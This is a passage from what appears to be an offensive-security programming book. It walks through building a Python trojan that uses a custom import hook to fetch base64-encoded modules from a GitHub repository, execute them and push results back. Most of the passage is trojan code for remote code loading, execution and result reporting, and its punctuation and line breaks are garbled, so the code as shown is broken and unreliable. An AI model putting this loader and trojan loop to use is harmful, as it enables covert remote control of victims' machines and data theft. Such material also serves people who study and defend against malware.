if you've made it this far in the bookyou know that we use python' import functionality to pull in external libraries so that we can use the code contained within we want to be able to do the same thing for our trojanbut beyond thatwe also want to make sure that if we pull in dependency (such as scapy or netaddr)our trojan makes that module available to all subsequent modules that we pull in python allows us to insert our own functionality into how it imports modulessuch that if module cannot be found locallyour import class will be calledwhich will allow us to remotely retrieve the library from our repo this is achieved by adding custom class to the sys meta_path list [ let' create custom loading class now by adding the following codeclass gitimporter(object)def __init__(self)self current_module_code "def find_module(self,fullname,path=none)if configuredprint "[*attempting to retrieve %sfullname new_library get_file_contents("modules/%sfullnameif new_library is not noneself current_module_code base decode(new_libraryreturn self return none def load_module(self,name)module imp new_module(nameexec self current_module_code in module __dict__ sys modules[namemodule return module every time the interpreter attempts to load module that isn' availableour gitimporter class is used the find_module function is called first in an attempt to locate the module we pass this call to our remote file loader and if we can locate the file in our repowe base -decode the code and store it in our class by returning selfwe indicate to the python interpreter that we found the module and it can then call our load_module function to actually load it we use the native imp module to first create new blank module object and then we shovel the code we retrieved from github into it the last step is to insert our newly created module into the sys modules list so that it' picked up by any future import calls now let' put the finishing touches on the trojan and take it for spin def module_runner(module)task_queue put( result sys modules[modulerun(task_queue get(store the result in our repo store_module_result(resultreturn main trojan loop sys meta_path [gitimporter()while true